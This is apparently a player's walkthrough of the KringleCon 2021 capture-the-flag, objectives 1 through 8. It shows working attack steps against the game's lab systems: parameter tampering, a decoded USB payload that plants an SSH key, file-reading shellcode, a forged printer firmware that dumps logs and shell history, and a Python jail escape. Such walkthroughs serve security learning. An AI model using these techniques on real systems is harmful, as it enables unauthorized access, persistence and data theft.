Skip to content

Objectives

1) KringleCon Orientation

Difficulty: ๐ŸŽ„

Question

Get your bearings at KringleCon

Solution

Carefully read the instructions to complete objectives 1a-1d :-)

Answer

Answer

Follow the instructions. It's okay, we aren't in VI yet.

1a) Talk to Jingle Ringford

Difficulty: ๐ŸŽ„

Question

Jingle will start you on your journey!

Solution

Answer

Answer

Click "Click the elf to talk!"

1b) Get your badge

Difficulty: ๐ŸŽ„

Question

Pick up your badge

Solution

Click on your fancy new badge.

Answer

Answer

Pick up your exclusive/oneofakind/awesome KringleCon badge

1c) Get the wifi adapter

Difficulty: ๐ŸŽ„

Question

Pick up the wifi adapter

Solution

Walk over and pick up that fancy little doodad in the corner.

Answer

Answer

Pick up the Wifi Adapter

1d) Use the terminal

Difficulty: ๐ŸŽ„

Question

Click the computer terminal

Solution

Loved the awesome sound FX of the gate opening. Who could that be??

Answer

Answer

Open the terminal and type answer

2) Where in the World is Caramel Santiago?

Difficulty: ๐ŸŽ„

Question

Help Tangle Coalbox find a wayward elf in Santa's courtyard. Talk to Piney Sappington nearby for hints.

Hints

Name (Piney Sappington)
"Don't forget coordinate systems other than lat/long like MGRS and what3words."
Name (Piney Sappington)
"While Flask cookies can't generally be forged without the secret, they can often be decoded and read."
Name (Piney Sappington)
"Clay Moody is giving a talk about OSINT techniques right now!"

Solution

Heading to the back courtyard in front of the Google booth we find Tangle Coalbox with one of my favorite challenges, OSINT.

Clicking through the interface of this terminal I see there isn't much to work with so I focused on the hint from Piney Sappington about Chris Elgee's Gist about Flast Cookies.

Open up the terminal in a new tab so I can access the Web Developer tools, in particular, the Cookies that are currently being stored.

Sure enough, this looks just like what Chris was talking about.

I popped this into CyberChef (one of the best tools, ever...) and found an interesting JSON object that contained what appeared to be the answers to each of the questions.

Plugging these into the "InterRink" page and clicking "Filter Elves" reveals the Elf we are tracking.

Once we click through each of the destinations based on the JSON data we can catch up with the elf and put in the answer.

Woot woot!

Alternate Solution

A little extra digging and we can see that we can post the following in the terminal to gain the achievement as well.

__POST_RESULTS__({ hash: "1704de3efcab1a918ee5ab04939fade5ec88c1c63fa014f6c0bd7492fad90bf1", resourceId: "Tangle Coalbox"})

Answer

Answer

Complete the OSINT challenge terminal by following the elf's path and identify who it was

3) Thaw Frost Tower's Entrance

Difficulty: ๐ŸŽ„๐ŸŽ„

Question

Turn up the heat to defrost the entrance to Frost Tower. Click on the Items tab in your badge to find a link to the Wifi Dongle's CLI interface. Talk to Greasy Gopherguts outside the tower for tips.

Hints

Name (Greasy GopherGuts)
"The iwlist and iwconfig utilities are key for managing Wi-Fi from the Linux command line."
Name (Greasy GopherGuts)
"When sending a POST request with data, add --data-binary to your curl command followed by the data you want to send."
Name (Greasy GopherGuts)
"cURL makes HTTP requests from a terminal - in Mac, Linux, and modern Windows!"

Solution

Good ol' WiFi hacking here! Getting started on this challenge I assumed we would be "hacking" the thermostat to change the temperature in the tower, thawing out the door.

Opening the WiFi dongle from my badge revealed a terminal where we can use some wifi interface commands as hinted by Greasy.

First thing to do is scan for nearby access points.

elf@e582d62bcd5a:~$ iwlist wlan0 scanning
wlan0     Scan completed :
          Cell 01 - Address: 02:4A:46:68:69:21
                    Frequency:5.2 GHz (Channel 40)
                    Quality=48/70  Signal level=-62 dBm
                    Encryption key:off
                    Bit Rates:400 Mb/s
                    ESSID:"FROST-Nidus-Setup"

Next, we want to connect the wireless interface to the discovered "FROST-Nidus-Setup" SSID. This is assumed to be the thermostat.

elf@e582d62bcd5a:~$ iwconfig wlan0 essid "FROST-Nidus-Setup"
** New network connection to Nidus Thermostat detected! Visit http://nidus-setup:8080/ to complete setup
(The setup is compatible with the 'curl' utility)

Interesting, this network connection has told us to use curl to configure it...

Curling the the given URL reveals some setup options.

elf@e582d62bcd5a:~$ curl http://nidus-setup:8080
โ—ˆโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ—ˆ

Nidus Thermostat Setup

โ—ˆโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ—ˆ

WARNING Your Nidus Thermostat is not currently configured! Access to this
device is restricted until you register your thermostat ยป /register. Once you
have completed registration, the device will be fully activated.

In the meantime, Due to North Pole Health and Safety regulations
42 N.P.H.S 2600(h)(0) - frostbite protection, you may adjust the temperature.

API

The API for your Nidus Thermostat is located at http://nidus-setup:8080/apidoc

Still showing not configured...so lets see what options we have in the documentation.

elf@e582d62bcd5a:~$ curl http://nidus-setup:8080/apidoc
โ—ˆโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ—ˆ

Nidus Thermostat API

โ—ˆโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ—ˆ

The API endpoints are accessed via:

http://nidus-setup:8080/api/<endpoint>

Utilize a GET request to query information; for example, you can check the
temperatures set on your cooler with:

curl -XGET http://nidus-setup:8080/api/cooler

Utilize a POST request with a JSON payload to configuration information; for
example, you can change the temperature on your cooler using:

curl -XPOST -H 'Content-Type: application/json' \
  --data-binary '{"temperature": -40}' \
  http://nidus-setup:8080/api/cooler


โ— WARNING: DO NOT SET THE TEMPERATURE ABOVE 0! That might melt important furniture

Available endpoints

โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚ Path                        โ”‚ Available without registering? โ”‚
โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
โ”‚ /api/cooler                 โ”‚ Yes                            โ”‚
โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
โ”‚ /api/hot-ice-tank           โ”‚ No                             โ”‚
โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
โ”‚ /api/snow-shower            โ”‚ No                             โ”‚
โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
โ”‚ /api/melted-ice-maker       โ”‚ No                             โ”‚
โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
โ”‚ /api/frozen-cocoa-dispenser โ”‚ No                             โ”‚
โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
โ”‚ /api/toilet-seat-cooler     โ”‚ No                             โ”‚
โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
โ”‚ /api/server-room-warmer     โ”‚ No                             โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜

That was helpful! Now we know how to send the proper curl command to change the temperature. The vendor allows you to change the temp without authenticating??? Wow. Let's take advantage! (I really wish I had the password to play with the other endpoints...)

elf@e582d62bcd5a:~$ curl http://nidus-setup:8080/api/cooler -XPOST -H 'Content-Type: applicationjson' --data-binary '{"temperature": 1}'
{
  "temperature": 1.78,
  "humidity": 35.36,
  "wind": 34.74,
  "windchill": -4.58,
  "WARNING": "ICE MELT DETECTED!"
}

The North Pole must have different temperature characteristics...since setting the temperature to "1" melted the ice. Oh well...I'll take it :-)

Answer

Answer

Send the curl request to the thermostat to melt the ice curl http://nidus-setup:8080/api/cooler -XPOST -H 'Content-Type: applicationjson' --data-binary '{"temperature": 1}'

4) Slot Machine Investigation

Difficulty: ๐ŸŽ„๐ŸŽ„

Question

Test the security of Jack Frost's slot machines. What does the Jack Frost Tower casino security team threaten to do when your coin total exceeds 1000? Submit the string in the server data.response element. Talk to Noel Boetie outside Santa's Castle for help.

Hints

Name (Noel Boetie)
"It seems they're susceptible to parameter tampering."
Name (Noel Boetie)
"Web application testers can use tools like Burp Suite or even right in the browser with Firefox's Edit and Resend feature."

Solution

Looking through the hints on this challenge I have the feeling some parameter tampering would be involved.

Opening up Dev Tools and inspecting the XHR requests we can see the parameters being sent to the spin endpoint when clicking Spin.

Copying the request as a curl command and modifying the cpl (Bet Size) allowed us to greatly influence our winnings.

cpl seems to be the "cost per bet/spin". By increasing the value and adding a - sign I was able to give myself mucho credits.

curl -i -s -k -X $'POST' \
    -H $'Host: slots.jackfrosttower.com' -H $'Content-Length: 32' -H $'Sec-Ch-Ua: \" Not A;Brand\";v=\"99\", \"Chromium\";v=\"96\"' -H $'Accept: application/json' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Sec-Ch-Ua-Mobile: ?0' -H $'X-Ncash-Token: 7ac8489c-b2ea-49dc-93e8-1375fe1bef2c' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36' -H $'Sec-Ch-Ua-Platform: \"Windows\"' -H $'Origin: https://slots.jackfrosttower.com' -H $'Sec-Fetch-Site: same-origin' -H $'Sec-Fetch-Mode: cors' -H $'Sec-Fetch-Dest: empty' -H $'Referer: https://slots.jackfrosttower.com/uploads/games/frostyslots-206983/index.html' -H $'Accept-Encoding: gzip, deflate' -H $'Accept-Language: en-US,en;q=0.9' \
    -b $'XSRF-TOKEN=eyJpdiI6IkVwYnB4U2lBZUM5aG5rWXBjUTUrVVE9PSIsInZhbHVlIjoiaThReGpMZjNVQzNVTnN6YkU2U0hSb0NodUVzZ0xlVU9iVVdvdytCZENEclRZRlp5YTBPTkFQZUVwRWdwZEhPRjFsbUNrK0ZGb0trb0FaOTNkcDhPTzhlek1tMzBhdGdpWFNvdGdGaXlDbkJQRFdnbFVIOG14ekJpODZDOU1NL20iLCJtYWMiOiI4MjJiYjQ3ZjFkNjViNGExOGU5MmRjOWIyZGJmMGFmZTViMmQ5ZjgwNThjNjBjODJmZGNkNzk0YzhmOGEyMGU5IiwidGFnIjoiIn0%3D; slots_session=eyJpdiI6Inh2T3Q1dU9WN21OSXZqLzM4d1lhM3c9PSIsInZhbHVlIjoiVkJoenZIVnJab1BUOVk1Ny9LaWpXOENZT1JrQnRVT1h3ekdqNjVSSlYrYnIrM2JtYlZmdDFVRzdjWkQzYzZuUktaaUlKdFVhVW9EY2RLSnJscU8vejJWa0hyVFVHb2RLU0xrK3RuY2xXU25iUWdSK2hLQ3BPRU51bFBnY1hQNU8iLCJtYWMiOiI5YjlmYTNlNzYyNTc2ZTliMGJlM2Q3YmY5ZjNlNzk5NzYxN2E4ZDcyZjAyN2QzMzk1MGQwYWJiZWI2MjExMzJkIiwidGFnIjoiIn0%3D' \
    --data-binary $'betamount=1&numline=20&cpl=-9999' \
    $'https://slots.jackfrosttower.com/api/v1/02b05459-0d09-4881-8811-9a2a7e28fd45/spin'
{
  "success": true,
  "data": {
    "credit": 220066.3,
    "jackpot": 0,
    "free_spin": 0,
    "free_num": 0,
    "scaler": 0,
    "num_line": 20,
    "bet_amount": 1,
    "pull": {
      "WinAmount": -5000,
      "FreeSpin": 0,
      "WildFixedIcons": [],
      "HasJackpot": false,
      "HasScatter": false,
      "WildColumIcon": "",
      "ScatterPrize": 0,
      "SlotIcons": [
        "icon1",
        "wild",
        "icon1",
        "icon3",
        "icon9",
        "icon10",
        "icon3",
        "icon6",
        "icon8",
        "wild",
        "icon8",
        "icon10",
        "icon8",
        "icon1",
        "icon7"
      ],
      "ActiveIcons": [1, 2, 3],
      "ActiveLines": [2]
    },
    "response": "I'm going to have some bouncer trolls bounce you right out of this casino!"
  },
  "message": "Spin success"
}

They didn't like that I did this :-)

Answer

Answer

"I'm going to have some bouncer trolls bounce you right out of this casino!"

5) Strange USB Device

Difficulty: ๐ŸŽ„๐ŸŽ„

Question

Assist the elves in reverse engineering the strange USB device. Visit Santa's Talks Floor and hit up Jewel Loggins for advice.

Hints

Name (Jewel Loggins)
"Attackers can encode Ducky Script using a duck encoder for delivery as inject.bin."
Name (Jewel Loggins)
"Ducky Script is the language for the USB Rubber Ducky"
Name (Jewel Loggins)
"It's also possible the reverse engineer encoded Ducky Script using Mallard."
Name (Jewel Loggins)
"The MITRE ATT&CKโ„ข tactic T1098.004 describes SSH persistence techniques through authorized keys files."

Solution

Hopping into the terminal I see the mallard.py script referenced in one of the hints. Running tells us to evaluate the file in the /mnt/USBDEVICE folder.

./mallard.py --file /mnt/USBDEVICE/inject.bin

...
STRING echo ==gCzlXZr9FZlpXay9Ga0VXYvg2cz5yL+BiP+AyJt92YuIXZ39Gd0N3byZ2ajFmau4WdmxGbvJHdAB3bvd2Ytl3ajlGILFESV1mWVN2SChVYTp1VhNlRyQ1UkdFZopkbS1EbHpFSwdlVRJlRVNFdwM2SGVEZnRTaihmVXJ2ZRhVWvJFSJBTOtJ2ZV12YuVlMkd2dTVGb0dUSJ5UMVdGNXl1ZrhkYzZ0ValnQDRmd1cUS6x2RJpHbHFWVClHZOpVVTpnWwQFdSdEVIJlRS9GZyoVcKJTVzwWMkBDcWFGdW1GZvJFSTJHZIdlWKhkU14UbVBSYzJXLoN3cnAyboNWZ | rev | base64 -d | bash
...

This encoded command looks interesting.

echo 'ssh-rsa UmN5RHJZWHdrSHRodmVtaVp0d1l3U2JqZ2doRFRHTGRtT0ZzSUZNdyBUaGlzIGlzIG5vdCByZWFsbHkgYW4gU1NIIGtleSwgd2UncmUgbm90IHRoYXQgbWVhbi4gdEFKc0tSUFRQVWpHZGlMRnJhdWdST2FSaWZSaXBKcUZmUHAK ickymcgoop@trollfun.jackfrosttower.com' >> ~/.ssh/authorized_keys

This saves an SSH key to the authorized keys file.

Looking at the end of the key string we see the user is ickymcgoop@trollfun.jackfrosttower.com

Answer

Answer

ickymcgoop

6) Shellcode Primer

Difficulty: ๐ŸŽ„๐ŸŽ„

Question

Complete the Shellcode Primer in Jack's office. According to the last challenge, what is the secret to KringleCon success? "All of our speakers and organizers, providing the gift of ____, free to the community." Talk to Chimney Scissorsticks in the NetWars area for hints.

Hints

Name (Chimney Scissorsticks)
"Lastly, be careful not to overwrite any register values you need to reference later on in your shellcode."
Name (Chimney Scissorsticks)
"Also, troubleshooting shellcode can be difficult. Use the debugger step-by-step feature to watch values."
Name (Chimney Scissorsticks)
"If you run into any shellcode primers at the North Pole, be sure to read the directions and the comments in the shellcode source!"

Solution

Carefully following along with the hints and tutorials I came up with the following answers.

3

ret

4

; TODO: Set rax to 1337
mov rax, 1337

; Return, just like we did last time
ret

5

; TODO: Find the syscall number for sys_exit and put it in rax
mov rax, 60

; TODO: Put the exit_code we want (99) in rdi
mov rdi, 99

; Perform the actual syscall
syscall

7

; Remember, this call pushes the return address to the stack
call place_below_the_nop

; This is where the function *thinks* it is supposed to return
nop

; This is a 'label' - as far as the call knows, this is the start of a function
place_below_the_nop:

; TODO: Pop the top of the stack into rax
pop rax nop

; Return from our code, as in previous levels
ret

8

; This would be a good place for a call
call hello_string

; This is the literal string 'Hello World', null terminated, as code. Except
; it'll crash if it actually tries to run, so we'd better jump over it!
db 'Hello World',0

; This would be a good place for a label and a pop
hello_string:

pop rax

; This would be a good place for a re... oh wait, it's already here. Hooray!
ret

9

; TODO: Get a reference to this string into the correct register
call hello_string
db 'Hello World!',0
hello_string:

; Set up a call to sys_write
; TODO: Set rax to the correct syscall number for sys_write
mov rax, 1

; TODO: Set rdi to the first argument (the file descriptor, 1)
mov rdi, 1

; TODO: Set rsi to the second argument (buf - this is the "Hello World" string)
pop rsi

; TODO: Set rdx to the third argument (length of the string, in bytes)
mov rdx, 12

; Perform the syscall
syscall

; Return cleanly
ret

10

; TODO: Get a reference to this string into the correct register
call file_path
db '/etc/passwd',0
file_path:

; Set up a call to sys_open
; TODO: Set rax to the correct syscall number
mov rax, 2

; TODO: Set rdi to the first argument (the filename)
pop rdi

; TODO: Set rsi to the second argument (flags - 0 is fine)
mov rsi, 0

; TODO: Set rdx to the third argument (mode - 0 is also fine)
mov rdx, 0

; Perform the syscall
syscall

; syscall sets rax to the file handle, so to return the file handle we don't
; need to do anything else!
ret

11

; TODO: Get a reference to this
call _readfile
db '/var/northpolesecrets.txt',0
_readfile:

; TODO: Call sys_open
mov rax, 2
pop rdi
mov rsi, 0
mov rdx, 0

syscall

; TODO: Call sys_read on the file handle and read it into rsp
mov rdi, rax
mov rax, 0
mov rsi, rsp
mov rdx, 200

syscall

; TODO: Call sys_write to write the contents from rsp to stdout (1)
mov rax, 1
mov rdi, 1
mov rsi, rsp
syscall

; TODO: Call sys_exit
mov rax, 60
mov rdi, 99
syscall

Secret to KringleCon success: all of our speakers and organizers, providing the gift of cyber security knowledge, free to the community.

Answer

Answer

cyber security knowledge

7) Printer Exploitation

Difficulty: ๐ŸŽ„๐ŸŽ„๐ŸŽ„๐ŸŽ„

Question

Investigate the stolen Kringle Castle printer. Get shell access to read the contents of /var/spool/printer.log. What is the name of the last file printed (with a .xlsx extension)? Find Ruby Cyster in Jack's office for help with this objective.

Hints

Name (Ruby Cyster)
"Files placed in /app/lib/public/incoming will be accessible under https://printer.kringlecastle.com/incoming/."
Name (Ruby Cyster)
"Hash Extension Attacks can be super handy when there's some type of validation to be circumvented."
Name (Ruby Cyster)
"When analyzing a device, it's always a good idea to pick apart the firmware. Sometimes these things come down Base64-encoded."

Solution

OOOOO printer hacking! This is fun.

Based on the description and hints we will be crafting a custom firmware to exploit a flaw in the update process. Download a copy of the current firmware to see what it looks like.

This ended up being a JSON file.

{
  "firmware": "UEsDBBQAAAAIAEWlkFMWoKjwagkAAOBAAAAMABwAZ...",
  "secret_length": 16,
  "algorithm": "SHA256"
}

These are the same values we need for the hash_extender application to create a new firmware file that has a tagalong script that will be launched on the printer.

I crafted a simple script to copy the printer log to the incoming dir on the printer for retrieval. Converting the script to HEX format and inputing into the hash_extender.

$ cat supefirmware.bin
#!/bin/bash
cp /var/spool/printer.log /app/lib/public/incoming/printer.log
$ ./hash_extender --file ../firmware.zip --append '504b0304140000000800713f8e53ecf2cd293f0000004a0000000c0000006669726d776172652e62696e4dca310e85201004d0de53f063ef9c89250627d9bf3b01f5fcb4f66fffc118b03aafada9e0ad0353990e0dc67d8ec3b31754094e831e7336305afe19fd8b16504b01021400140000000800713f8e53ecf2cd293f0000004a0000000c00000000000000000000000000000000006669726d776172652e62696e504b050600000000010001003a000000690000000000' --append-format hex --secret 16 --signature e0b5855c6dd61ceb1e0ae694e68f16a74adb6f87d1e9e2f78adfee688babcf23 --format sha256 --signature-format hex
Type: sha256
Secret length: 16
New signature: 0c343c482edbd58a2e55b784f92d6a109093550fdd87bf26edccfd1dff90132c
New string: 504b0304140000000800d8a5865316a0a8f06a090000e04000000c001c006669726d776172652e62696e5554090003b876ae61b876ae6175780b000104000000000400000000ed5b5f6c1c4...

We convert the hex back into the proper format and save as a new JSON and upload

{
  "firmware": "UEsDBBQAAAAIANilhlMWoKjwagkAAO...",
  "signature": "0c343c482edbd58a2e55b784f92d6a109093550fdd87bf26edccfd1dff90132c",
  "secret_length": 16,
  "algorithm": "SHA256"
}

Let's see if it worked.

$ curl https://printer.kringlecastle.com/incoming/printer.log
Documents queued for printing
=============================

Biggering.pdf
Size Chart from https://clothing.north.pole/shop/items/TheBigMansCoat.pdf
LowEarthOrbitFreqUsage.txt
Best Winter Songs Ever List.doc
Win People and Influence Friends.pdf
Q4 Game Floor Earnings.xlsx
Fwd: Fwd: [EXTERNAL] Re: Fwd: [EXTERNAL] LOLLLL!!!.eml
Troll_Pay_Chart.xlsx

It did!

CyberChef Recipe

Beast Mode

I wanted to see what else I could find...so I wrote a script to do all the heavy-lifting for me.

My new firmware contained the following scripts:

#!/bin/bash
cp /var/spool/printer.log /app/lib/public/incoming/funtimes.not_just_a_log
dir /var >> /app/lib/public/incoming/log.txt
cat /home/app/.bash_history >> /app/lib/public/incoming/log.txt
zip -P alabaster -r lib/public/incoming/dump.zip

Then, I made a bash script to ZIP up the bin file, run through the hash_extender, then send to the printer.

#!/bin/bash
zip temp.zip firmware.bin -j
APPEND=$(xxd -p -c 9999999 temp.zip)
OUTPUT=$(./hash_extender/hash_extender --file firmware.zip --append $APPEND --append-format hex --secret 16 --signature e0b5855c6dd61ceb1e0ae694e68f16a74adb6f87d1e9e2f78adfee688babcf23 --format sha256 --out-data-format hex --signature-format hex --table)
SIGNATURE=$(echo $OUTPUT | cut -d' ' -f 2)
STRING=$(echo $OUTPUT | cut -d' ' -f 3 | xxd -r -p | base64 -w0)
JSON='{"firmware":"'$(echo $STRING)'","signature":"'$(echo $SIGNATURE)'","secret_length":16,"algorithm":"SHA256"}'

#echo "Output: $OUTPUT"
#echo "Append: $APPEND"
#echo "String: $STRING"
echo $JSON
echo $(echo $JSON > firmwareV2.json)

curl -H 'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKzjBJqEgiZEU9QZP' -H 'Referer: https://printer.kringlecastle.com/firmware' -F "file=@firmwareV2.json" 'https://printer.kringlecastle.com/firmware'

My favorite was grabbing ZIPs of all available directories. I then retreived the logs and/or ZIP files for review.

All.zip

Answer

Answer

Troll_Pay_Chart.xlsx

8) Kerberoasting on an Open Fire

Difficulty: ๐ŸŽ„๐ŸŽ„๐ŸŽ„๐ŸŽ„๐ŸŽ„

Question

Obtain the secret sleigh research document from a host on the Elf University domain. What is the first secret ingredient Santa urges each elf and reindeer to consider for a wonderful holiday season? Start by registering as a student on the ElfU Portal. Find Eve Snowshoes in Santa's office for hints.

Hints

Name (Eve Snowshoes)
"There will be some 10.X.X.X networks in your routing tables that may be interesting. Also, consider adding -PS22,445 to your nmap scans to "fix" default probing for unprivileged scans."
Name (Eve Snowshoes)
"CeWL can generate some great wordlists from website, but it will ignore digits in terms by default."
Name (Eve Snowshoes)
"Check out Chris Davis' talk and scripts on Kerberoasting and Active Directory permissions abuse."
Name (Eve Snowshoes)
"OneRuleToRuleThemAll.rule is great for mangling when a password dictionary isn't enough."
Name (Eve Snowshoes)
"Learn about Kerberoasting to leverage domain credentials to get usernames and crackable hashes for service accounts."
Name (Eve Snowshoes)
"Administrators often store credentials in scripts. These can be coopted by an attacker for other purposes!"
Name (Eve Snowshoes)
"Investigating Active Directory errors is harder without Bloodhound, but there are native methods."

Solution

This was an exciting challenge and likley my favorite! Really enjoyed working with BloodHound in the past so I knew it would be fun to actually use it to PWN a box.

First, lets obtain some creds to gain initial access.

### ElfU Registration Portal

##### New Student Domain Account Creation Successful!

###### You can now access the student network grading system by SSH'ing into this asset using the command below:

ssh dytjcpwleg@grades.elfu.org -p 2222

##### ElfU Domain Username: dytjcpwleg

##### ElfU Domain Password: Avueqfeyb@

_(Please save these credentials!)_

We have SSH creds now. Lets connect to a new session and see what we can do.

===================================================
=      Elf University Student Grades Portal       =
=          (Reverts Everyday 12am EST)            =
===================================================
1. Print Current Courses/Grades.
e. Exit
:

0  Shortname                    Description  Grade
==================================================
1    SLPE301  Sleigh Propulsion Engineering     D
2    ELFS201                    Elf Studies     F
3    WHOL201       World Holiday Literature     B-
4    NNLM301  Naughty Nice List Mathematics     C-
Press Enter to continue...

We are dropped into a semi-locked-down Python app. We know this becuase after trying some basic escape commands we get dropped into a Python shell.

Ctrl + d to escape!

I found I can poke around the system but nothing crazy discovered yet.

===================================================
=      Elf University Student Grades Portal       =
=          (Reverts Everyday 12am EST)            =
===================================================
1. Print Current Courses/Grades.
e. Exit
: Traceback (most recent call last):
  File "/opt/grading_system", line 41, in <module>
    main()
  File "/opt/grading_system", line 26, in main
    a = input(": ").lower().strip()
EOFError
>>> os.listdir()
['.cache', '.hushlogin', '.python_history', '.profile', '.bashrc', '.grades', '.bash_logout']

I found I can spwan a new Bash shell and be more interactive with the box.

>>> import pty
>>> pty.spawn("/bin/bash")
axhhzvqhmn@grades:~$

>>> os.system('bash')

Tried to see what other devices we may have on the network.

arp -a

axhhzvqhmn@grades:/opt$ cat /etc/resolv.conf
search c.holidayhack2021.internal. google.internal.
nameserver 10.128.1.53
axhhzvqhmn@grades:/opt$ arp | grep -v incomplete
Address                  HWtype  HWaddress           Flags Mask            Iface
172.17.0.1               ether   02:42:c9:87:06:32   C                     eth0
